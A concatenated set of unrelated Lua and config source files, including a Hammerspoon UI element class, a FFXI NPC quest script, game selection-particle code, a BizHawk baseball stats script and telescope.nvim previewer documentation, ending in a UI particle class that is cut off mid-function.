self:doHighlight(color, duration):Now()
end
--- cp.ui.Element:saveLayout() -> table
--- Method
--- Returns a `table` containing the current configuration details for this Element (or subclass).
---
--- Parameters:
--- * None
---
--- Returns:
--- * None
---
--- Notes:
--- * When subclassing, the overriding `saveLayout` method should call the parent's saveLayout method,
--- then add values to it, like so:
--- ```
--- function MyElement:saveLayout()
--- local layout = Element.saveLayout(self)
--- layout.myConfig = self.myConfig
--- return layout
--- end
--- ```
function Element.saveLayout(_)
return {}
end
--- cp.ui.Element:loadLayout(layout) -> nil
--- Method
--- When called, the Element (or subclass) will attempt to load the layout based on the parameters
--- provided by the `layout` table. This table should generally be generated via the [#saveLayout] method.
---
--- Parameters:
--- * layout - a `table` of parameters that will be used to layout the element.
---
--- Returns:
--- * None
---
--- Notes:
--- * When subclassing, the overriding `loadLayout` method should call the parent's `loadLayout` method,
--- then process any custom values from it, like so:
--- ```
--- function MyElement:loadLayout(layout)
--- Element.loadLayout(self, layout)
--- self.myConfig = layout.myConfig
--- end
--- ```
function Element.loadLayout(_, _)
end
function Element.lazy.method:doSaveLayout()
return Do(function() return self:saveLayout() end)
:Label("cp.ui.Element:doSaveLayout()")
end
--- cp.ui.Element:doLayout(layout) -> cp.rx.go.Statement
--- Method
--- Returns a [Statement](cp.rx.go.Statement.md) which will attempt to load the layout based on the parameters
--- provided by the `layout` table. This table should generally be generated via the [#saveLayout] method.
---
--- Parameters:
--- * layout - a `table` of parameters that will be used to layout the element.
---
--- Returns:
--- * The [Statement](cp.rx.go.Statement.md) to execute.
---
--- Notes:
--- * By default, to enable backwards-compatibility, this method will simply call the [#loadLayout]. Override it to provide more optimal asynchonous behaviour if required.
--- * When subclassing, the overriding `doLayout` method should call the parent class's `doLayout` method,
--- then process any custom values from it, like so:
--- ```lua
--- function MyElement:doLayout(layout)
--- layout = layout or {}
--- return Do(Element.doLayout(self, layout))
--- :Then(function()
--- self.myConfig = layout.myConfig
--- end)
--- :Label("MyElement:doLayout")
--- end
--- ```
function Element:doLayout(layout)
return Given(layout)
:Then(function(_layout)
self:loadLayout(_layout)
return true
end)
:Label("cp.ui.Element:doLayout(layout)")
end
function Element:doStoreLayout(id)
return Given(self:doSaveLayout())
:Then(function(layout)
local layouts = self.__storedLayouts or {}
layouts[id] = layout
self.__storedLayouts = layouts
return layout
end)
:Label("cp.ui.Element:doStoreLayout(id)")
end
function Element:doForgetLayout(id)
return Do(function()
local layouts = self.__storedLayouts
if layouts then
layouts[id] = nil
end
for _ in pairs(layouts) do -- luacheck: ignore
return -- there are still layouts stored.
end
self.__storedLayouts = nil
end)
:Label("cp.ui.Element:doForgetLayout(id)")
end
function Element:doRecallLayout(id, preserve)
local doForget = preserve and nil or self:doForgetLayout(id)
return Given(function()
local layouts = self.__storedLayouts
return layouts and layouts[id]
end)
:Then(function(layout)
local doLayout = self:doLayout(layout)
if doForget then
doLayout = Do(doLayout):Then(doForget)
end
return doLayout
end)
:Label("cp.ui.Element:doRecallLayout(id, preserve)")
end
-- This just returns the same element when it is called as a method. (eg. `fcp.viewer == fcp.viewer`)
-- This is a bridge while we migrate to using `lazy.value` instead of `lazy.method` (or methods)
-- in the FCPX API.
function Element:__call()
return self
end
return Element
|
-----------------------------------
-- Area: Mhaura
-- NPC: Blandine
-- Start Quest: The Sand Charmz
-- !pos 23 -7 41 249
-----------------------------------
require("scripts/globals/settings")
require("scripts/globals/quests")
-----------------------------------
function onTrade(player, npc, trade)
end
function onTrigger(player, npc)
local X = player:getXPos(); Z = player:getZPos()
local TheSandCharm = player:getQuestStatus(OTHER_AREAS_LOG, tpz.quest.id.otherAreas.THE_SAND_CHARM)
if (Z <= 29 or Z >= 38 or X <= 16 or X >= 32) then
if (player:getFameLevel(WINDURST) >= 4 and TheSandCharm == QUEST_AVAILABLE) then
player:startEvent(125) -- Start quest "The Sand Charm"
elseif (player:getCharVar("theSandCharmVar") == 2) then
player:startEvent(124) -- During quest "The Sand Charm" - 2nd dialog
elseif (TheSandCharm == QUEST_COMPLETED and player:getCharVar("SmallDialogByBlandine") == 1) then
player:startEvent(128) -- Thanks dialog of Bladine after "The Sand Charm"
elseif (TheSandCharm == QUEST_COMPLETED) then
player:startEvent(129) -- New standard dialog after "The Sand Charm"
else
player:startEvent(122) -- Standard dialog
end
end
end
function onEventUpdate(player, csid, option)
end
function onEventFinish(player, csid, option)
if (csid == 125) then
player:addQuest(OTHER_AREAS_LOG, tpz.quest.id.otherAreas.THE_SAND_CHARM)
player:setCharVar("theSandCharmVar", 1)
elseif (csid == 124) then
player:setCharVar("theSandCharmVar", 3)
elseif (csid == 128) then
player:setCharVar("SmallDialogByBlandine", 0)
end
end
|
if FirstLoad then
SelectionShapes, SelectionShapesByHash = {}, {}
end
--calcs the dist between each point in the array of points,
--and then sticks the total dist up to that point in the z member
--clones the first point and sets it as last with the appropriate dist for less checks c side.
function PreparePointsArrayForAnimTrajectoryInput(points)
local totalDist = 0
points[#points + 1] = point(points[1]:x(), points[1]:y(), 0)
for i = 2, #points do
totalDist = totalDist + points[i-1]:Dist2D(points[i])
points[i] = points[i]:SetZ(totalDist)
end
points[1] = points[1]:SetZ(0) --force 0 or it will be max int
end
--Reload the selection shapes for all entities
function RebuildSelectionShapes()
local surface_mask = EntitySurfaces["Selection"]
local all_entities = GetAllEntities()
for entity,_ in pairs(all_entities) do
if HasAnySurfaces(entity, surface_mask) then
local all_states = GetStates(entity)
for _,state in ipairs(all_states) do
local state_idx = GetStateIdx(state)
local shape, hash = GetSelectionShape(entity, state_idx)
if shape and #shape > 1 then
local referenced_entity = SelectionShapesByHash[hash]
if referenced_entity ~= nil then
SelectionShapes[entity] = SelectionShapes[referenced_entity]
else
--Shapes are encoded as strings, before storage
PreparePointsArrayForAnimTrajectoryInput(shape)
local encoded_shape = EncodePointsToString(shape)
SelectionShapes[entity] = encoded_shape
SelectionShapesByHash[hash] = entity
end
break
end
end
end
end
end
OnMsg.EntitiesLoaded = RebuildSelectionShapes
GlobalVar("building_selection_particle", false) --selobj is a global var, so it seems appropriate for this to be as well.
local particle_name_override = { --[entity] = { p1, p2 }
Excavator = { "Selection_Buildings_Double_01", "Selection_Buildings_Double_02", "Selection_Buildings_Base" },
Default = { "Selection_Buildings", "Selection_Buildings_Base" },
}
CObject.GetSelectionAngle = CObject.GetAngle
function AddSelectionParticlesToObj(obj)
building_selection_particle = building_selection_particle or {}
local s_i = #building_selection_particle + 1
local e = obj:GetEntity()
local s = GetEntityOutlineShape(e)
local s_s = SelectionShapes[e]
local x, y, z = obj:GetVisualPosXYZ()
local a = obj:GetSelectionAngle()
if #s == 1 then
table.insert(building_selection_particle, PlaceParticles("Selection_Buildings_Single"))
a = a + 30*60 -- fix wrong particle form (Iva made me do it)
elseif s_s then
local names = particle_name_override[e] or particle_name_override.Default
local p
for _, name in ipairs(names) do
p = PlaceParticles(name)
p:SetPolylineAsString(s_s)
table.insert(building_selection_particle, p)
end
end
for i = s_i, #building_selection_particle do
local p = building_selection_particle[i]
p:SetPos(x, y, z)
p:SetAngle(a)
end
end
--This object will be selectable and will show selection particles around it
DefineClass.SelectableWithParticles = {
__parents = { "CObject" },
enum_flags = { efSelectable = true },
}
function OnMsg.SelectedObjChange(obj, prev)
if building_selection_particle then
for _, obj in ipairs(building_selection_particle) do
DoneObject(obj)
end
building_selection_particle = false
end
if (IsKindOf(obj, "SupplyGridSwitch") and obj.is_switch) or
(IsKindOf(obj, "BreakableSupplyGridElement") and obj.auto_connect) or
(IsKindOf(obj, "LifeSupportGridElement") and obj.pillar) or
(IsKindOf(obj, "Building") and not obj.disable_selection and obj.use_shape_selection) or
(IsKindOf(obj, "SelectableWithParticles"))
then
AddSelectionParticlesToObj(obj)
if IsKindOf(obj, "ConstructionSite") and IsKindOf(obj.building_class_proto, "Tunnel") or IsKindOf(obj, "Tunnel") then
AddSelectionParticlesToObj(obj.linked_obj)
end
if IsKindOf(obj, "Passage") then
--passage is in first element pos, so sel last
local el = obj:GetEndElement()
AddSelectionParticlesToObj(el)
end
end
end
|
local _ = require 'moses'
local BN, parent = nn.BatchNormalization, nn.Module
local empty = _.clone(parent.dpnn_mediumEmpty)
table.insert(empty, 'buffer')
table.insert(empty, 'buffer2')
table.insert(empty, 'centered')
table.insert(empty, 'std')
table.insert(empty, 'normalized')
table.insert(empty, 'output')
table.insert(empty, 'gradInput')
BN.dpnn_mediumEmpty = empty
-- for sharedClone
local params = _.clone(parent.dpnn_parameters)
table.insert(params, 'running_mean')
table.insert(params, 'running_var')
BN.dpnn_parameters = params
|
solution "string_c"
include "../../build"
project "string_c"
def_c()
files {"*.c","*.h"}
|
local Graphics = {
dx = 0,
dy = 0,
sx = 1,
sy = 1,
scissorX = 0,
scissorY = 0,
scissorWidth = 0,
scissorHeight = 0,
}
local function transform(x, y)
local newX = x * Graphics.sx + Graphics.dx
local newY = y * Graphics.sy + Graphics.dy
return newX, newY
end
function Graphics.setScissor(x, y, width, height)
if x == nil then
love.graphics.setScissor(Graphics.scissorX, Graphics.scissorY, Graphics.scissorWidth, Graphics.scissorHeight)
else
local newX, newY = transform(x, y)
local newWidth = width * Graphics.sx
local newHeight = height * Graphics.sy
love.graphics.setScissor(newX, newY, newWidth, newHeight)
end
end
function Graphics.setViewportScissor(x, y, width, height)
Graphics.scissorX, Graphics.scissorY = transform(x, y)
Graphics.scissorWidth = width * Graphics.sx
Graphics.scissorHeight = height * Graphics.sy
love.graphics.setScissor(Graphics.scissorX, Graphics.scissorY, Graphics.scissorWidth, Graphics.scissorHeight)
end
function Graphics.translate(dx, dy)
Graphics.dx = dx
Graphics.dy = dy
love.graphics.translate(dx, dy)
end
function Graphics.scale(sx, sy)
Graphics.sx = sx
Graphics.sy = sy
love.graphics.scale(sx, sy)
end
Graphics.push = love.graphics.push
Graphics.pop = love.graphics.pop
Graphics.newImage = love.graphics.newImage
Graphics.draw = love.graphics.draw
Graphics.getDimensions = love.graphics.getDimensions
Graphics.setColor = love.graphics.setColor
Graphics.rectangle = love.graphics.rectangle
Graphics.setBackgroundColor = love.graphics.setBackgroundColor
Graphics.newQuad = love.graphics.newQuad
Graphics.newFont = love.graphics.newFont
Graphics.newText = love.graphics.newText
Graphics.printf = love.graphics.printf
Graphics.print = love.graphics.print
Graphics.setFont = love.graphics.setFont
return Graphics
|
--RBI Baseball script
--Written by adelikat
--Shows stats and information on screen and can even change a batter or pitcher's hand
local PitchingScreenAddr = 0x001A;
local PitchingScreen;
local p1PitchHealthAddr = 0x060D;
local p1PitchHealth;
local p2PitchHealthAddr = 0x061D;
local p2PitchHealth;
local p1OutsAddr = 0x0665;
local p1Outs;
local pitchtypeAddr = 0x0112;
local pitchtype;
local P1currHitterPowerAddr = 0x062B --2 byte
local P1currSpeedAddr = 0x062D
local P1currContactAddr = 0x062A
local P2currHitterPowerAddr = 0x063B --2 byte
local P2currSpeedAddr = 0x063D
local P2currContactAddr = 0x063A
local topinningAddr = 0x0115
--Extra Ram map notes
--0627 = P1 Batter Lefy or Righty (even or odd)
--0628 = P1 Bat average 150 + this address
--0629 = P1 # of Home Runs
--0638 = P2 Bat average 2 150 + this address
--0639 = P2 # of Home Runs
--0637 = P2 Batter Lefy or Righty (even or odd)
--060x = P1 pitcher, 061x = P2 pitcher
--0607 =
--Right digit = P1 Pitcher Lefty or Right (even or odd)
--Left digit = P1 Pitcher drop rating
--0609 = P1 Sinker ball speed
--060A = P1 Regular ball Speed
--060B = P1 Fastball Speed
--060C = P1 Pitcher Curve rating left digit is curve left, right is curve right
--0114 = Current Inning
--0115 = 10 if bottom of inning, 0 if on top, controls which player can control the batter
--0728 & 0279 - In charge of inning music
--TODO
--A hotkeys for boosting/lowering current pitcher (p1 or 2) health
--fix pitcher L/R switching to not kill the left digit (drop rating) in the process
--Do integer division on curve rating
--Outs display is wrong
--Music on/off toggle
console.writeline("RBI Baseball script");
console.writeline("Written by adelikat");
console.writeline("Description: Shows stats and information on screen and can even change a batter or pitcher's hand");
console.writeline("\nHotkeys: ");
console.writeline("Toggle Hand of player 2: \nH/J");
console.writeline("Toggle Hand of player 1: \nK/L");
function P1BoostHitter()
mainmemory.write_u16_le(0x062B, mainmemory.read_u16_le(0x062B) + 128);
end
function P1DropHitter()
mainmemory.write_u16_le(0x062B, mainmemory.read_u16_le(0x062B) - 128);
end
function P2BoostHitter()
mainmemory.write_u16_le(0x063B, mainmemory.read_u16_le(0x063B) + 128);
end
function P2DropHitter()
mainmemory.write_u16_le(0x063B, mainmemory.read_u16_le(0x063B) - 128);
end
function SwitchP1LHand()
if (inningtb == 0x10) then
mainmemory.write_u8(0x0607, 0)
end
if (inningtb == 0) then
mainmemory.write_u8(0x0627, 0)
end
end
function SwitchP1RHand()
if (inningtb == 0x10) then
mainmemory.write_u8(0x0607, 1)
end
if (inningtb == 0) then
mainmemory.write_u8(0x0627, 1)
end
end
function SwitchP2LHand()
if (inningtb == 0x0) then
mainmemory.write_u8(0x0617, 0)
end
if (inningtb == 0x10) then
mainmemory.write_u8(0x0637, 0)
end
end
function SwitchP2RHand()
if (inningtb == 0x0) then
mainmemory.write_u8(0x0617, 1)
end
if (inningtb == 0x10) then
mainmemory.write_u8(0x0637, 1)
end
end
h_window = forms.newform(345, 205, "RBI Lua");
label_p1switch = forms.label(h_window, "Player 1", 10, 5);
label_p1switch = forms.label(h_window, "Switch Player Hand", 10, 35);
h_toggleP1L = forms.button(h_window, "Left", SwitchP1LHand, 10, 60, 50, 23);
h_toggleP1R = forms.button(h_window, "Right", SwitchP1RHand, 70, 60, 50, 23);
label_p1switch = forms.label(h_window, "Batter Power", 10, 100);
h_toggleP1R = forms.button(h_window, "More!", P1BoostHitter, 10, 125, 50, 23);
h_toggleP1R = forms.button(h_window, "Less", P1DropHitter, 70, 125, 50, 23);
label_p2switch = forms.label(h_window, "Player 2", 160, 5);
label_p2switch = forms.label(h_window, "Switch Player Hand", 160, 35);
h_toggleP2L = forms.button(h_window, "Left", SwitchP2LHand, 160, 60, 50, 23);
h_toggleP2R = forms.button(h_window, "Right", SwitchP2RHand, 160, 60, 50, 23);
label_p2switch = forms.label(h_window, "Batter Power", 160, 100);
h_toggleP2R = forms.button(h_window, "More!", P2BoostHitter, 160, 125, 50, 23);
h_toggleP2R = forms.button(h_window, "Less", P2DropHitter, 220, 125, 50, 23);
while true do
mainmemory.write_u8(0x0726, 0) --Turn of inning music
mainmemory.write_u8(0x0727, 0)
mainmemory.write_u8(0x0728, 0)
mainmemory.write_u8(0x0729, 0)
inningtb = mainmemory.read_u8(topinningAddr);
i = input.get();
--Switch P1 batter hands
if (i.K == true) then
SwitchP1LHand()
end
if (i.L == true) then
SwitchP1RHand();
end
--Switch P2 batter hands
if (i.H == true) then
SwitchP2LHand();
end
if (i.J == true) then
SwitchP2RHand();
end
PitchingScreen = mainmemory.read_u8(PitchingScreenAddr);
-------------------------------------------------------
if (PitchingScreen == 0x003E) then
pitchtype = mainmemory.read_u8(pitchtypeAddr);
--What the pitcher will pitch
if (pitchtype == 0) then
gui.text(0,0,"Sinker!!", null, null, "bottomright");
end
if (pitchtype == 2) then
gui.text(0,0, "Fast Ball", null, null, "bottomright")
end
if (pitchtype == 1) then
gui.text(0,0,"Regular Pitch", null, null, "bottomright")
end
--Top of Inning
if (inningtb == 0) then
gui.text(0,0, "Health " .. mainmemory.read_u8(0x061D), null, null, "topright")
gui.text(0,12,"Drop " .. mainmemory.read_u8(0x0617) % 16, null, null, "topright")
gui.text(0,24,"CurveL " .. mainmemory.read_u8(0x061C) / 16, null, null, "topright")
gui.text(0,36,"CurveR " .. mainmemory.read_u8(0x061C) % 16, null, null, "topright")
gui.text(0,48,"Fast SP " .. mainmemory.read_u8(0x061B), null, null, "topright")
gui.text(0,60,"Reg SP " .. mainmemory.read_u8(0x061A), null, null, "topright")
gui.text(0,72,"Sink SP " .. mainmemory.read_u8(0x0619), null, null, "topright")
P1currPower = mainmemory.read_u8(P1currHitterPowerAddr) + (mainmemory.read_u8(P1currHitterPowerAddr+1) * 256);
gui.text(0,108, "Power: " .. P1currPower, null, null, "topright");
P1currSpeed = mainmemory.read_u8(P1currSpeedAddr);
gui.text(0,120, "Speed: " .. P1currSpeed, null, null, "topright");
P1currCt = mainmemory.read_u8(P1currContactAddr);
gui.text(0,132, "Contact: " .. P1currCt, null, null, "topright");
end
--Bottom of Inning
if (inningtb == 0x10) then
gui.text(0,0,"Health " .. mainmemory.read_u8(0x060D), null, null, "topright")
gui.text(0,12,"Drop " .. mainmemory.read_u8(0x0607) % 16, null, null, "topright")
gui.text(0,24,"CurveL " .. mainmemory.read_u8(0x060C) / 16, null, null, "topright")
gui.text(0,36,"CurveR " .. mainmemory.read_u8(0x060C) % 16, null, null, "topright")
gui.text(0,48,"Fast SP " .. mainmemory.read_u8(0x060B), null, null, "topright")
gui.text(0,60,"Reg SP " .. mainmemory.read_u8(0x060A), null, null, "topright")
gui.text(0,72,"Sink SP " .. mainmemory.read_u8(0x0609), null, null, "topright")
P2currPower = mainmemory.read_u8(P2currHitterPowerAddr) + (mainmemory.read_u8(P2currHitterPowerAddr+1) * 256);
gui.text(0,108, "Power: " .. P2currPower, null, null, "topright");
P2currSpeed = mainmemory.read_u8(P2currSpeedAddr);
gui.text(0,120, "Speed: " .. P2currSpeed, null, null, "topright");
P2currCt = mainmemory.read_u8(P2currContactAddr);
gui.text(0,132, "Contact: " .. P2currCt, null, null, "topright");
end
end
-------------------------------------------------------
if (PitchingScreen == 0x0036) then
p1Outs = mainmemory.read_u8(p1OutsAddr);
gui.text(0,0, "Outs " .. p1Outs, null, null, "topright");
end
-------------------------------------------------------
emu.frameadvance()
end |
---@tag telescope.previewers
---@brief [[
--- Provides a Previewer table that has to be implemented by each previewer.
--- To achieve this, this module also provides two wrappers that abstract most
--- of the work and make it really easy create new previewers.
--- - `previewers.new_termopen_previewer`
--- - `previewers.new_buffer_previewer`
---
--- Furthermore, there are a collection of previewers already defined which
--- can be used for every picker, as long as the entries of the picker provide
--- the necessary fields. The more important once are
--- - `previewers.cat`
--- - `previewers.vimgrep`
--- - `previewers.qflist`
--- - `previewers.vim_buffer_cat`
--- - `previewers.vim_buffer_vimgrep`
--- - `previewers.vim_buffer_qflist`
---
--- Previewers can be disabled for any builtin or custom picker by doing
--- :Telescope find_files previewer=false
---@brief ]]
local Previewer = require "telescope.previewers.previewer"
local term_previewer = require "telescope.previewers.term_previewer"
local buffer_previewer = require "telescope.previewers.buffer_previewer"
local previewers = {}
--- This is the base table all previewers have to implement. It's possible to
--- write a wrapper for this because most previewers need to have the same
--- keys set.
--- Examples of wrappers are:
--- - `new_buffer_previewer`
--- - `new_termopen_previewer`
---
--- To create a new table do following:
--- - `local new_previewer = Previewer:new(opts)`
---
--- What `:new` expects is listed below
---
--- The interface provides following set of functions. All of them, besides
--- `new`, will be handled by telescope pickers.
--- - `:new(opts)`
--- - `:preview(entry, status)`
--- - `:teardown()`
--- - `:send_input(input)`
--- - `:scroll_fn(direction)`
---
--- `Previewer:new()` expects a table as input with following keys:
--- - `setup` function(self): Will be called the first time preview will be
--- called.
--- - `teardown` function(self): Will be called on cleanup.
--- - `preview_fn` function(self, entry, status): Will be called each time
--- a new entry was selected.
--- - `title` function(self): Will return the static title of the previewer.
--- - `dynamic_title` function(self, entry): Will return the dynamic title of
--- the previewer. Will only be called
--- when config value dynamic_preview_title
--- is true.
--- - `send_input` function(self, input): This is meant for
--- `termopen_previewer` and it can be
--- used to send input to the terminal
--- application, like less.
--- - `scroll_fn` function(self, direction): Used to make scrolling work.
previewers.Previewer = Previewer
--- A shorthand for creating a new Previewer.
--- The provided table will be forwarded to `Previewer:new(...)`
previewers.new = function(...)
return Previewer:new(...)
end
--- Is a wrapper around Previewer and helps with creating a new
--- `termopen_previewer`.
---
--- It requires you to specify one table entry `get_command(entry, status)`.
--- This `get_command` function has to return the terminal command that will be
--- executed for each entry. Example:
--- <pre>
--- get_command = function(entry, status)
--- return { 'bat', entry.path }
--- end
--- </pre>
---
--- Additionally you can define:
--- - `title` a static title for example "File Preview"
--- - `dyn_title(self, entry)` a dynamic title function which gets called
--- when config value `dynamic_preview_title = true`
---
--- It's an easy way to get your first previewer going and it integrates well
--- with `bat` and `less`. Providing out of the box scrolling if the command
--- uses less.
---
--- Furthermore, it will forward all `config.set_env` environment variables to
--- that terminal process.
---
--- While this interface is a good start, it was replaced with the way more
--- flexible `buffer_previewer` and is now deprecated.
previewers.new_termopen_previewer = term_previewer.new_termopen_previewer
--- Provides a `termopen_previewer` which has the ability to display files.
--- It will always show the top of the file and has support for
--- `bat`(prioritized) and `cat`. Each entry has to provide either the field
--- `path` or `filename` in order to make this previewer work.
---
--- The preferred way of using this previewer is like this
--- `require('telescope.config').values.cat_previewer`
--- This will respect user configuration and will use `buffer_previewers` in
--- case it's configured that way.
previewers.cat = term_previewer.cat
--- Provides a `termopen_previewer` which has the ability to display files at
--- the provided line. It has support for `bat`(prioritized) and `cat`.
--- Each entry has to provide either the field `path` or `filename` and
--- a `lnum` field in order to make this previewer work.
---
--- The preferred way of using this previewer is like this
--- `require('telescope.config').values.grep_previewer`
--- This will respect user configuration and will use `buffer_previewers` in
--- case it's configured that way.
previewers.vimgrep = term_previewer.vimgrep
--- Provides a `termopen_previewer` which has the ability to display files at
--- the provided line or range. It has support for `bat`(prioritized) and
--- `cat`. Each entry has to provide either the field `path` or `filename`,
--- `lnum` and a `start` and `finish` range in order to make this previewer
--- work.
---
--- The preferred way of using this previewer is like this
--- `require('telescope.config').values.qflist_previewer`
--- This will respect user configuration and will use buffer previewers in
--- case it's configured that way.
previewers.qflist = term_previewer.qflist
--- An interface to instantiate a new `buffer_previewer`.
--- That means that the content actually lives inside a vim buffer which
--- enables us more control over the actual content. For example, we can
--- use `vim.fn.search` to jump to a specific line or reuse buffers/already
--- opened files more easily.
--- This interface is more complex than `termopen_previewer` but offers more
--- flexibility over your content.
--- It was designed to display files but was extended to also display the
--- output of terminal commands.
---
--- In the following options, state table and general tips are mentioned to
--- make your experience with this previewer more seamless.
---
---
--- options:
--- - `define_preview = function(self, entry, status)` (required)
--- Is called for each selected entry, after each selection_move
--- (up or down) and is meant to handle things like reading file,
--- jump to line or attach a highlighter.
--- - `setup = function(self)` (optional)
--- Is called once at the beginning, before the preview for the first
--- entry is displayed. You can return a table of vars that will be
--- available in `self.state` in each `define_preview` call.
--- - `teardown = function(self)` (optional)
--- Will be called at the end, when the picker is being closed and is
--- meant to cleanup everything that was allocated by the previewer.
--- The `buffer_previewer` will automatically cleanup all created buffers.
--- So you only need to handle things that were introduced by you.
--- - `keep_last_buf = true` (optional)
--- Will not delete the last selected buffer. This would allow you to
--- reuse that buffer in the select action. For example, that buffer can
--- be opened in a new split, rather than recreating that buffer in
--- an action. To access the last buffer number:
--- `require('telescope.state').get_global_key("last_preview_bufnr")`
--- - `get_buffer_by_name = function(self, entry)`
--- Allows you to set a unique name for each buffer. This is used for
--- caching purpose. `self.state.bufname` will be nil if the entry was
--- never loaded or the unique name when it was loaded once. For example,
--- useful if you have one file but multiple entries. This happens for grep
--- and lsp builtins. So to make the cache work only load content if
--- `self.state.bufname ~= entry.your_unique_key`
--- - `title` a static title for example "File Preview"
--- - `dyn_title(self, entry)` a dynamic title function which gets called
--- when config value `dynamic_preview_title = true`
---
--- `self.state` table:
--- - `self.state.bufnr`
--- Is the current buffer number, in which you have to write the loaded
--- content.
--- Don't create a buffer yourself, otherwise it's not managed by the
--- buffer_previewer interface and you will probably be better off
--- writing your own interface.
--- - self.state.winid
--- Current window id. Useful if you want to set the cursor to a provided
--- line number.
--- - self.state.bufname
--- Will return the current buffer name, if `get_buffer_by_name` is
--- defined. nil will be returned if the entry was never loaded or when
--- `get_buffer_by_name` is not set.
---
--- Tips:
--- - If you want to display content of a terminal job, use:
--- `require('telescope.previewers.utils').job_maker(cmd, bufnr, opts)`
--- - `cmd` table: for example { 'git', 'diff', entry.value }
--- - `bufnr` number: in which the content will be written
--- - `opts` table: with following keys
--- - `bufname` string: used for cache
--- - `value` string: used for cache
--- - `mode` string: either "insert" or "append". "insert" is default
--- - `env` table: define environment variables. Example:
--- - `{ ['PAGER'] = '', ['MANWIDTH'] = 50 }`
--- - `cwd` string: define current working directory for job
--- - `callback` function(bufnr, content): will be called when job
--- is done. Content will be nil if job is already loaded.
--- So you can do highlighting only the first time the previewer
--- is created for that entry.
--- Use the returned `bufnr` and not `self.state.bufnr` in callback,
--- because state can already be changed at this point in time.
--- - If you want to attach a highlighter use:
--- - `require('telescope.previewers.utils').highlighter(bufnr, ft)`
--- - This will prioritize tree sitter highlighting if available for
--- environment and language.
--- - `require('telescope.previewers.utils').regex_highlighter(bufnr, ft)`
--- - `require('telescope.previewers.utils').ts_highlighter(bufnr, ft)`
--- - If you want to use `vim.fn.search` or similar you need to run it in
--- that specific buffer context. Do
--- <pre>
--- vim.api.nvim_buf_call(bufnr, function()
--- -- for example `search` and `matchadd`
--- end)
--- to achieve that.
--- </pre>
--- - If you want to read a file into the buffer it's best to use
--- `buffer_previewer_maker`. But access this function with
--- `require('telescope.config').values.buffer_previewer_maker`
--- because it can be redefined by users.
previewers.new_buffer_previewer = buffer_previewer.new_buffer_previewer
--- A universal way of reading a file into a buffer previewer.
--- It handles async reading, cache, highlighting, displaying directories
--- and provides a callback which can be used, to jump to a line in the buffer.
---@param filepath string: String to the filepath, will be expanded
---@param bufnr number: Where the content will be written
---@param opts table: keys: `use_ft_detect`, `bufname` and `callback`
previewers.buffer_previewer_maker = buffer_previewer.file_maker
--- A previewer that is used to display a file. It uses the `buffer_previewer`
--- interface and won't jump to the line. To integrate this one into your
--- own picker make sure that the field `path` or `filename` is set for
--- each entry.
--- The preferred way of using this previewer is like this
--- `require('telescope.config').values.file_previewer`
--- This will respect user configuration and will use `termopen_previewer` in
--- case it's configured that way.
previewers.vim_buffer_cat = buffer_previewer.cat
--- A previewer that is used to display a file and jump to the provided line.
--- It uses the `buffer_previewer` interface. To integrate this one into your
--- own picker make sure that the field `path` or `filename` and `lnum` is set
--- in each entry. If the latter is not present, it will default to the first
--- line.
--- The preferred way of using this previewer is like this
--- `require('telescope.config').values.grep_previewer`
--- This will respect user configuration and will use `termopen_previewer` in
--- case it's configured that way.
previewers.vim_buffer_vimgrep = buffer_previewer.vimgrep
--- Is the same as `vim_buffer_vimgrep` and only exist for consistency with
--- `term_previewers`.
---
--- The preferred way of using this previewer is like this
--- `require('telescope.config').values.qflist_previewer`
--- This will respect user configuration and will use `termopen_previewer` in
--- case it's configured that way.
previewers.vim_buffer_qflist = buffer_previewer.qflist
--- A previewer that shows a log of a branch as graph
previewers.git_branch_log = buffer_previewer.git_branch_log
--- A previewer that shows a diff of a stash
previewers.git_stash_diff = buffer_previewer.git_stash_diff
--- A previewer that shows a diff of a commit to a parent commit.<br>
--- The run command is `git --no-pager diff SHA^! -- $CURRENT_FILE`
---
--- The current file part is optional. So is only uses it with bcommits.
previewers.git_commit_diff_to_parent = buffer_previewer.git_commit_diff_to_parent
--- A previewer that shows a diff of a commit to head.<br>
--- The run command is `git --no-pager diff --cached $SHA -- $CURRENT_FILE`
---
--- The current file part is optional. So is only uses it with bcommits.
previewers.git_commit_diff_to_head = buffer_previewer.git_commit_diff_to_head
--- A previewer that shows a diff of a commit as it was.<br>
--- The run command is `git --no-pager show $SHA:$CURRENT_FILE` or `git --no-pager show $SHA`
previewers.git_commit_diff_as_was = buffer_previewer.git_commit_diff_as_was
--- A previewer that shows the commit message of a diff.<br>
--- The run command is `git --no-pager log -n 1 $SHA`
previewers.git_commit_message = buffer_previewer.git_commit_message
--- A previewer that shows the current diff of a file. Used in git_status.<br>
--- The run command is `git --no-pager diff $FILE`
previewers.git_file_diff = buffer_previewer.git_file_diff
previewers.ctags = buffer_previewer.ctags
previewers.builtin = buffer_previewer.builtin
previewers.help = buffer_previewer.help
previewers.man = buffer_previewer.man
previewers.autocommands = buffer_previewer.autocommands
previewers.highlights = buffer_previewer.highlights
--- A deprecated way of displaying content more easily. Was written at a time,
--- where the buffer_previewer interface wasn't present. Nowadays it's easier
--- to just use this. We will keep it around for backwards compatibility
--- because some extensions use it.
--- It doesn't use cache or some other clever tricks.
previewers.display_content = buffer_previewer.display_content
return previewers
|
fx_version 'cerulean'
games { 'gta5' }
author 'MOXHA'
client_script 'debug/C_main.js'
server_script 'debug/S_main.js' |
--需要处理例子特效的ui对象 需要继承该类 比如baseview baseitem
UIPartical = UIPartical or BaseClass(UIZDepth)
local UIPartical = UIPartical
--每个layer的起始值
UIPartical.Start_SortingOrder_list = {
["Scene"] = 0,
["Main"] = 100,
["Dynamic_Main"] = 150,
["UI"] = 200,
["Activity"] = 300,
["Top"] = 400,
}
--每个layer的当前层数
UIPartical.curr_SortingOrder_list = {
["Scene"] = UIPartical.Start_SortingOrder_list.Scene,
["Main"] = UIPartical.Start_SortingOrder_list.Main,
["Dynamic_Main"] = UIPartical.Start_SortingOrder_list.Dynamic_Main,
["UI"] = UIPartical.Start_SortingOrder_list.UI,
["Activity"] = UIPartical.Start_SortingOrder_list.Activity,
["Top"] = UIPartical.Start_SortingOrder_list.Top,
}
UIPartical.NextLayerCount =
{
["Scene"] = 100,
["Main"] = 200,
["UI"] = 300,
["Activity"] = 400,
}
--设置渲染特效所在的layer层
UIPartical.RenderingOther_List = {
DEFAULT = 0,
UI = 5,
Blackground = 10,
}
function UIPartical:__init()
self.layer_name = "Main"
self.depth_counter = 0
self.partical_list = {}
self.callback_list = {}
self.lastTime_list = {}
self.cache_partical_map = {}
self.show_partical_map = {}
self.wait_load_effect_trans = {}
self.speed = 1
end
function UIPartical:__delete()
self:ClearAllEffect()
self:ClearCacheEffect()
end
function UIPartical:ClearCacheEffect()
